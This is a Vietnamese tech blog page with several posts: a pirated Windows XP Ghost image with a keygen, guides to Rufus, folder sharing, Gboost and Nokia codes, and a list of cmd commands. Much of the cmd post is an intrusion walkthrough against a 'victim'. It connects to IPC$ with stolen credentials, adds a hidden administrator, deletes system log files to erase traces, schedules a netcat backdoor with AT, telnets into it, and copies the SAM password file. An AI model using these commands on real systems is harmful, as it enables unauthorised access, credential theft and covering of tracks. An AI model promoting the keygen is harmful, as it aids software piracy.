Ghost Microsoft Windows XP SP3 Royale Style 2011 v.4

ThaiBinh | 17:58 | 0 comments
Một số phần mềm được tích hợp bên trong bản Ghost.
  • Microsoft Office 2003 bản quyền (Word 2003 - Excel 2003- PowerPoint 2003 - Access 2003)
  • Foxit Reader v3
  • Unikey 4.0.8 Finall
  • WinRAR v3.90 Pro Final Full
  • Full Font
  • Internet Explore ver 8.0
  • Mozilla Firefox ver 3.6.13
  • Adobe Flash Player 10 ActiveX
  • Adobe Flash Player Plugin
  • K-Lite Codec Pack 680 Standard
  • Windows Media Player 11 + DFX hỗ trợ âm thanh 3D tuyệt hảo
  • Yahoo! Messenger 11.0 Chat, nhắn tin cực đã !
  • Royale theme: Media center style

Một số hình nền bên trong Display Properties



Lưu ý: Sau khi vào Win, bạn tìm Keygen - DFX Audio Enhancer 9.30.rar trong C:\Program Files\SOFT bấm chọn Generate để Active.

Ghost SP3 Royale 2011
Size: 695 Mb
1.Ghost.GHO.001(150. MB): 5DAEE5B8850B514CE917B49020F33AAF
2.Ghost.GHO.002(150. MB): 2B7B0E9FC474FD46FF0AFF0F08E156CE
3.Ghost.GHO.003(150. MB): 4BF8531712D06DB5625E0AA184CBA212
4.Ghost.GHO.004(150. MB): BF1C838779C1D7AE437B91DF80A701A4
5.Ghost.GHO.005(84. MB) : A08C3329DA8DDD7A3CFBF75167E3DBB5


Lưu ý: Sau tải xong tất cả các phần về, bạn cho vào chung trong một thư mục và dùng phần mềm HJSplit 3.0 nối lại với nhau.


Download:
Link Mediafire
Link ziddu
http://www.ziddu.com/download/18474293/GHOST.GHO.001.html
http://www.ziddu.com/download/18475701/GHOST.GHO.002.html
http://www.ziddu.com/download/18482249/GHOST.GHO.003.html
http://www.ziddu.com/download/18478013/GHOST.GHO.004.html
http://www.ziddu.com/download/18478308/GHOST.GHO.005.html

By Admin

Tạo USB cài đặt mọi hệ điều hành cực đơn giản

ThaiBinh | 09:34 | 0 comments
Như ta đã biết, các thế hệ Laptop hiện nay, đặc biệt là chủng loại Netbook thường được thiết kế theo hướng mỏng hơn, đơn giản và hầu như các ổ đĩa quang đã được cắt giảm. Điều này đặc ra vấn đề là làm thế nào để cài đặt hệ điều hành mới thay thế cho hệ điều hành mặc định của nhà sản xuất trong khi bạn chỉ có các CD/DVD cài đặt và giải pháp được chọn là cài đặt thông qua USB, tuy nhiên giải pháp này đòi hòi bạn phải có các kỹ thuật chuyên sâu để có thể thao tác trên MS-DOS.

Và chúng tôi cũng đã từng giới thiệu các phần mềm có chức năng tạo ổ đĩa khởi động cài đặt hệ điều hành (Bootable USB) bằng USB như WinUSB Maker hay LiveUSB Install. Hôm nay, Genk sẽ giới thiệu đến bạn đọc phần mềm Rufus, công cụ tạo Bootable USB cài đặt Hệ điều hành cực kì đa năng và nhanh chóng. Phần mềm ứng dụng di động (portable) Rufus cho phép bạn tạo một chiếc USB có khả năng cài đặt hệ điều hành như một chiếc đĩa cài đặt Windows XP, Vista Windows 7 hoặc hệ điều hành Linux, ngoài ra còn kèm theo một số tùy chọn hữu ích.

Sau khi tải về, bạn nhấn đôi chuột vào tập tin Rufus v1.1.3f.exe để kích hoạt phần mềm mà không cần cài đặt.

Nhìn chung, giao diện phần mềm tương đối giống với công cụ định dạng ổ đĩa của Windows.


Phần mềm có khả năng tự động nhận diện các thiết bị USB được kết nối vào máy tính. Khi bạn cắm một chiếc USB vào máy, phần mềm sẽ tự động nhận diện và cung cấp thông tin về chiếc USB đó như tên thiết bị (Device), dung lượng bộ nhớ (Capacity), định dạng (File system) và dung lượng Cluster (Cluster size).

Để tạo một chiếc USB cài đặt hệ điều hành, bạn tiến hành kết nối 1 USB vào máy tính, bật phần mềm Rufus lên. Tiến hành tùy chọn các tùy chỉnh trong nhóm Format Options. Tại dòng tùy chỉnh Create a bootable disk usingbạn nhấn vào biểu tượng hình ổ đĩa và tìm đến tập tin ISO (.iso) mà bạn cần tích hợp vào USB. Dòng Create extended label and icon files cho phép bạn có thể tùy chỉnh nhãn và icon biểu tượng cho chiếc Bootable USB của mình. Sau khi thiết lập xong, bạn nhấn nút Start để phần mềm bắt đầu quá trình khởi tạo.

Thời gian khởi tạo tùy thuộc vào kích thước tập tin ISO. Phần mềm hoạt động trên cả 2 phiên bản 32bit và 64bit của Windows XP, Vista và Windows 7.

Tải phần mềm Rufus tại đây.

Tham khảo Addictivetips

Hướng dẫn chia sẽ thư mục hệ thống trong Mạng nội bộ

ThaiBinh | 10:58 | 0 comments
Không giống như các phiên bản Windows trước đó của Microsoft như Windows XP và Windows Vista, Windows 7 cho phép bạn dễ dàng chia sẽ các tập tin và thư mục trên mạng nội bộ mà không cần phải trải qua các bước thiết lập địa chỉ IP mạng. Các nhóm mạng mà Windows 7 hỗ trợ như Homegroup, Wordgroup và Public, tất cả đều dễ dàng trao đổi dữ liệu với nhau nếu có cùng 1 nhóm.

Trong Windows 7, bạn có thể dễ dàng chia sẽ các tập tin và thư mục qua mạng bằng các lệnh từ menu chuột phải. Nhưng nếu bạn muốn chia sẽ các thư mục cốt lỗi của hệ thống như Programs Files, AppData hoặc 1 thư mục quan trọng nào đó qua mạng thì sao ? Windows 7 có các chính sách bảo mật nghiêm ngặt đối với các thư mục hệ thống nên người dùng cùng mạng rất khó có thể truy cập được vào các thư mục này trên 1 máy tính sử dụng Windows 7.

Trong bài viết này, tôi sẽ hướng dẫn bạn thiết lập việc chia sẻ các thư mục quan trọng của hệ thống trên máy tính sử dụng Windows 7 qua mạng nội bộ (Homegroup, Wordgroup và Public) để bạn có thể dễ dàng truy cập chúng bằng máy tính khác trên mạng.

Trước khi bắt đầu thiết lập tùy chọn Windows Share, hãy chắc rằng máy tính đã được thiết lập tham gia vào 1 mạng nội bộ (Homegroup, Wordgroup và Public) bằng cách nhấn phải chuột vào biểu tượng Computer trên desktop hoặc trong menu Start và chọn Properties

Cửa sổ System hệ thống sẽ hiện ra, bạn kiểm tra nhóm mạng mà máy tính hiện đang tham gia tại dòng Computer name, domain and workgroup settings

Bây giờ bạn truy cập đến vị trí thư mục mà bạn muốn chia sẻ qua mạng. Nhấn chuột phải vào nó và chọn lệnh Advance sharing trong mục Share with

Tại cửa sổ mới hiện ra, bạn chọn tiếp nút lệnh Advance sharing


Trong cửa sổ Advanced Sharing, bạn check vào ô Share this folder để cho phép chia sẽ thư mục. Khi bạn kích vào ô Share this folder, các tùy chọn phía dưới sẽ tự động được thêm vào như tên thư mục chia sẽ (Share name), số lượng tối đa thành viên kết nối đến thư mục (Limit the number of simultaneous users to). Bạn có thể chỉnh sửa các thông số này.

Tiếp đến bạn chọn nút Permission

Tại hộp thoại Permission cho phép bạn thiết lập quyền truy cập vào thư mục và tập tin bên trong cho các nhóm người dùng và người dùng cá nhân. 


Nếu bạn muốn thêm một nhóm người dùng khác được phép truy cập vào tập tin, bạn nhấn vào nút Add. Hộp thoại Select Users or Groups hiện ra, bạn nhấn tiếp Advanced.

Bạn có thể thêm các đối tượng người dùng trong danh sách. Chỉ cần nhấn vào nút lệnh Find Now, danh sách các đối tượng sử dụng cùng nhóm sẽ xuất hiện. Sau khi lựa chọn xong bạn nhấn OK để lưu lại.

Sau khi lựa chọn, tùy chọn của bạn sẽ xuất hiện tại khung Enter the object names to select. Bạn nhấn OK để lưu lại tùy chọn. Bạn sẽ được đưa trở lại hộp thoại Permission

Tại hộp thoại Permission cho phép bạn thiết lập các tùy chọn cho đối tượng vừa được thêm vào. Sau khi thiết lập xong bạn nhấn Apply để áp dụng và sau đó là OK

Tiếp đó bạn sẽ trở lại hộp thoại Advanced Sharing, bạn nhấn tiếp OK để bắt đầu chia sẽ thư mục trên máy tính vào nhóm mạng nội bộ.


Các bước thực hiện như trên tuy rờm rà nhưng khi thực hiện thì rất đơn giản. Nếu quá trình truy cập đến thư mục được chia sẻ gặp vấn đề, bạn tìm đến Network and Sharing Center và chọn tiếp Change Advanced sharing settings. Kích hoạt các tùy chọn chia sẽ trong Homegroup hoặc Wordgroup

Chúc bạn thành công.

Tham khảo Addictivetips

10 đoạn mã bí mật hữu dụng trên điện thoại

ThaiBinh | 10:38 | 0 comments


Số người sử dụng điện thoại Nokia trên toàn thế giới nói chung và Việt Nam nói riêng không hề nhỏ. Như các hãng sản xuất khác, các điện thoại của Nokia có những đoạn mã bí mật để khai thác các thông tin của máy. Dưới đây là một vài đoạn mã bí mật đó.

Mỗi hãng sản xuất đều đưa vào thiết bị của mình những thiết lập ẩn mà không phải ai cũng biết và không phải bao giờ cũng khám phá ra.
Sử dụng những đoạn mã bí ẩn có thể tìm hiểu được thông tin về máy như ngày sản xuất, phiên bản firmware đang sử dụng… hay thậm chí là thay đổi thiết lập của máy như chất lượng âm thanh, chất lượng hình ảnh…
Dưới đây là một vài đoạn mã bí ẩn của Nokia mà bạn có thể tự thử nghiệm trên máy điện thoại của mình:
*#0000#: đây là một trong những đoạn mã đơn giản nhưng quan trọng nhất mà người dùng Nokia nên biết. Đoạn mã này cho biết phiên bản firmware mà máy đang sử dụng cũng như ngày phát hành phiên bản firmware này.
*#06#: kiểm tra số IMEI (International Mobile Equipment Identity Code) của sản phẩm. Mỗi sản phẩm có 1 số IMEI khác nhau để phân biệt.
Mã số này cũng có thể áp dụng trên các điện thoại di động của các hãng sản xuất khác, không riêng gì Nokia.
*#92702689#: đoạn mã này sẽ hiển thị chính xác ngày xuất xưởng của sản phẩm, cũng như ngày điện thoại được sửa chữa gần đây nhất (trong trường hợp sản phẩm đã từng sửa chữa).
Thậm chí đoạn mã này còn hiển thị thời gian đã sử dụng máy (kể từ lúc máy được mở gần đây nhất).
*4720#: cho phép người dùng giảm tần số của điện thoại, chỉ sử dụng 1/2 băng tần. Điều này cho phép tiết kiệm và kéo dài thời lượng sử dụng pin, tuy nhiên lại làm giảm chất lượng của cuộc gọi.
Bấm lại mã số trên để khôi phục về trạng thái băng tần như cũ.
*#3370#: trái ngược với chức năng của đoạn mã trên, đoạn mã này có tác dụng tối ưu để thiết bị thu phát sóng hiệu quả nhất. Đoạn mã này hữu ích trong trường hợp mạng không ổn định, chập chờn hoặc kết nối GPRS quá chậm.
Tuy nhiên, khi sử dụng đoạn mã này, pin của máy sẽ hết mau hơn. Nhập lại đoạn mã này nếu muốn khôi phục máy về trạng thái cũ.
*#746085686#: sử dụng đoạn mã này để theo dõi trạng thái xung nhịp của SIM mà điện thoại đang sử dụng. Đoạn mã này chỉ có tác dụng trên một vài loại điện thoại của Nokia.
*#7370#: một vài loại điện thoại sử dụng hệ điều hành Symbian của Nokia cho phép sử dụng đoạn mã này để khởi động lại máy.
*#2820#: khi gặp vấn đề về kết nối Bluetooth trên máy và bạn cần tìm địa chỉ MAC của sản phẩm thì có thể sử dụng đoạn mã này. Đoạn mã có tác dụng trên các máy Nokia có kết nối Bluetooth.
*#30#: sử dụng đoạn mã này để xem số gọi đến trong trường hợp người gọi sử dụng chức năng dấu số.
*#7780#: đoạn mã này cho phép người dùng khôi phục máy về trạng thái ban đầu (sau khi xuất xưởng). Tuy nhiên, điều này đồng nghĩa với việc các thiết lập trên máy sẽ khôi phục lại mặc định, và bạn sẽ phải tiến hành thiết lập lại từ đầu.
Trên đây là một vài đoạn mã bí mật mà bạn có thể sử dụng để khai thác trên chiếc điện thoại Nokia mà mình đang sử dụng. Nếu bạn biết các đoạn mã khác có tác dụng trên Nokia, hãy chia sẻ với CongNghe24h bằng comment ở bên dưới.

Nguồn: Tổng hợp

Chạy mượt mà các phần mềm đòi hỏi cấu hình cao

ThaiBinh | 10:21 | 0 comments
Những ứng dụng nặng yêu cầu nhiều tài nguyên hệ thống sẽ khiến hệ thống trở nên ì ạch, nặng nề và đôi khi bị treo. Gboost là một biện pháp để giải quyết vấn đề này. Những phần mềm nặng như các công cụ đồ họa, dựng phim, hay các game… có thể khiến cho các hệ thống có cấu hình cao cũng trở nên chậm chạp.

Loại bỏ những ứng dụng, dịch vụ không cần thiết đang hoạt động trên hệ thống, để giải phóng tài nguyên và tập trung cho các ứng dụng nặng là giải pháp hữu hiệu để giải quyết tình trạng này.

Gboost là công cụ miễn phí, cho phép người dùng thực hiện việc này một cách dễ dàng.

Download tại đây

Lưu ý: quá trình cài đặt cần phải kết nối Internet để phần mềm download thêm những thành phần cần thiết.

Sau khi hoàn tất quá trình cài đặt, Gboost sẽ tự động kích hoạt và biểu tượng phần mềm xuất hiện trên khay hệ thống. Kích phải vào biểu tượng này, chọn ‘Open Gboost’ để hiển thị giao diện chính.

Giao diện chính của phần mềm sẽ hiển thị mức độ tài nguyên trên hệ thống, tỷ lệ % dung lượng RAM còn trống, số các tiến trình và dịch vụ đang hoạt động…


Từ giao diện chính, nhấn vào tùy chọn ‘Advanced Mode’, phần mềm sẽ liệt kê các loại ứng dụng sẽ bị loại bỏ khi kích hoạt tính năng tối ưu. Các ứng dụng này sẽ được phần mềm mặc định loại bỏ hoặc cho tiếp tục hoạt động.

Nếu đang duyệt web và sử dụng phần mềm chat, bạn nên chuyển sang tùy chọn ‘No’ tại mục ‘Instant Messengers’ và ‘Internet Browser’ để dữ lại các ứng dụng này. 

Tùy thuộc vào mục đích đang sử dụng, bạn có thể thiết lập để phần mềm loại bỏ hoặc để lại những dạng ứng dụng phù hợp.


Cuối cùng, nhấn nút ‘Press to Boost’ từ giao diện của phần mềm.


Gboost sẽ thực hiện chức năng của mình, tắt các ứng dụng và các dịch vụ của hệ thống không cần thiết. Sau khi hoàn tất quá trình, thông số về tài nguyên hệ thống sẽ được phần mềm hiển thị để người dùng so sánh với trước khi thực hiện tối ưu.

Sau khi hoàn tất quá trình tối ưu, số lượng các ứng dụng và dịch vụ, cũng như dung lượng RAM còn trống và thông số sử dụng CPU sẽ được giảm đi đáng kể.

Bây giờ, bạn có thể kích hoạt các phần mềm yêu cầu nhiều tài nguyên hệ thống, và sử dụng chúng mà hệ thống không bị rơi vào trạng thái quá tải và ì ạch.

Để khôi phục trở lại về trạng thái ban đầu, với các ứng dụng và dịch vụ đã sử dụng trước lúc tối ưu, nhấn nút ‘Press to Restore’ trên giao diện chính của phần mềm.


Về cơ bản, tính năng của Gboost tương tự như tính năng của Game Booster (đã được Dân trí giới thiệu tạiđây), tuy nhiên, cách thức sử dụng đơn giản hơn.

Bạn có thể xem cách thức so sánh giữa 2 công cụ để chọn lựa cho mình phần mềm hiệu quả hơn


Yêu cầu phần cứng
 300 MHz xử lý hoặc xử lý nhanh hơn
 256 MB RAM
 30 MB miễn phí không gian đĩa cứng


Nguồn: St

Các lệnh cơ bản trong cmd

ThaiBinh | 10:08 | 0 comments
Trong Windows XP có nhiều lệnh , nhưng thông thường chúng ta hay dùng các lệnh sau ( để chạy những lệnh này bấm Start --> chọn Run --> bấm CMD --> bấm OK ).

1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] - ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính. - Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C - Tham số /a: Nhận địa chỉ IP từ tên host - Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt. - Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5 Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)....

2. Lệnh Tracert : Cú pháp : Code: tracert ip/host Công dụng : + Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.

3. Lệnh Net Send, gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP): Cú pháp: Net send ip/host thông_điệp_muốn_gởi Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi. + Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau : Code: Net send * hello!I'm pro_hacker_invn

4. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] - Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening) - Tham số /e: hiển thị các thông tin thống kê Ethernet - Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm Công dụng : + Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.

5. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...

6. Lệnh FTP (truyền tải file): Cú pháp: Code: ftp ip/host Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau: Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ. Một số lệnh ftp cơ bản: -cd thu_muc: chuyển sang thư mục khác trên máy chủ - dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ - mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ - rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ - put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ. - close: Đóng phiên làm việc - quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command. Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu. Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp

7. Lệnh Net View : Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]] Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng. + Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.

8. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"xxx" - ip: địa chỉ IP của victim. - xxx: user của máy victim - pass: password của user Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim" Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).

9. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add] - Username : tên user cấn add - pass : password của user cần add Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add] Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính. + Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào. Ví dụ: ta tiến hành add thêm một user có tên là xuanhoa , password là :banvatoi vào với cấu trúc lệnh như sau: Code: Net User xuanhoa banvatoi /add Sau đó add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup Administrator xuanhoa /add

10. Lệnh Shutdown
: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (áp dụng cho win XP) - Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,.. - Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown. - Tham số -l : logg off (lưu ý ko thể thực hiện khi remote) - Tham số -s : shutdown - Tham số -r : shutdown và restart - Tham số -a : không cho shutdown - Tham số -f : shutdown mà ko cảnh báo - Tham số -c "comment" : lời cảnh báo trước khi shutdown - Tham số -d upx:yy : ko rõ Code: shutdown \\ip (áp dụng win NT) Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn! Công dụng: + Shutdown máy tính.

11. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn. Công dụng: + Để xem file, folder.

12. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log

13. Lệnh tạo ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( hoặc là IPC$ ) - Z là của mình...còn C$ là của Victim Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc)

14. Lệnh Net Time
 : Cú pháp: Code: Net Time \\ip Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.

15. Lệnh AT: Cú pháp: Code: AT \\ip Công dụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng. Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT....nó là một telnet server với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 . Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.

16. Lệnh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie Code: telnet 68.135.23.25 99 Công dụng: + Kết nối đến host qua port xx

17. Lệnh COPY: Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé. Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nếu bạn copy lên folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html muốn copy files trên máy victm thì bạn gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\

18. Lệnh SET
: Cú pháp: Code: SET Công dụng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này. Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP) Trên đây là một số hiểu biết hạn hẹp của em về các lệnh CMD, em đã đọc được từ rất nhiều nguồn khác nhau, nay tổng hợp lại cho mọi người tham khảo. Có một số lệnh em vẫn chưa hiểu cấu trúc lệnh và chưa có điều kiện để thực hành thử nên ko hướng dẫn kỹ. Ai biết thì góp ý nhé! Mong các pro đừng cười! Nếu thấy bài viết của em hay thì làm ơn thank cho một cái nhé

19 bootcfg
 : xem thiết lập phần tải hệ điều hành ban đầu .

20 defrag : lệnh này dùng để dồn đĩa cứng .

21 diskpart : quản lí phân vùng trên đĩa . Chúng ta có thể bấm DISKPART / ? để xem hướng dẫn cách dùng chi tiết .

22 driverquery : nhận danh sách các chương trình Driver và những thuộc tính của chúng .

23 getmac : nhận địa chỉ MAC ( Media Access Control ) của Card mạng .

24 gpresult : nhận RSoP , những thiết lập người dùng và những thiết lập của chính sách nhóm.

25 netsh :
 công cụ cấu hình mạng . Bấm NETSH / ? để biết thêm chi tiết . Để thoát khỏi công cụ này gõ lệnh NETSH>

26 openfiles : cho phép Admin hiển thị hoặc bỏ kết nối những file đang mở trong XP Pro . Bấm OPENFILES/? để biết thêm về tham số .

27 recover : khôi phục những thông tin không thể đọc được trên đĩa .

28 reg : công cụ cho Registry .

29 schtasks : Admin có thể tạo lịch trình , thay đổi , xoá những nhiệm vụ trên máy trạm hoặc những máy điều khiển từ xa . SCHTASKS/? để hiển thị những tham số .

30 sfc : kiểm tra file hệ thống , bảo về và thay thế , sửa chữa những file hệ thống bị hỏng .

31 shutdown : bạn có thể tắt hoặc khởi động lại máy tính của mình hoặc Admin có thể tắt hoặc khởi động lại những máy tính điều khiển từ xa .

32 systeminfo
 : hiển thị những thông tin cấu hình cơ bản .

33 tasklist : cho chúng ta biết những chương trình nào đang chạy .

34 taskkill : tắt những chương trình đang chạy

35 dxdiag : cấu hình

Nguồn: Sưu tầm
previous Next home
 
Support : Diễn đàn | Điều khoản | Liên hệ
Copyright © 2011. htbinhpc - All Rights Reserved
Website hiển thị tốt nhất trên trình duyệt FireFox và Google Chrome
Phát triển bởi Blogger
Lên đầu trang
Xuống cuối trang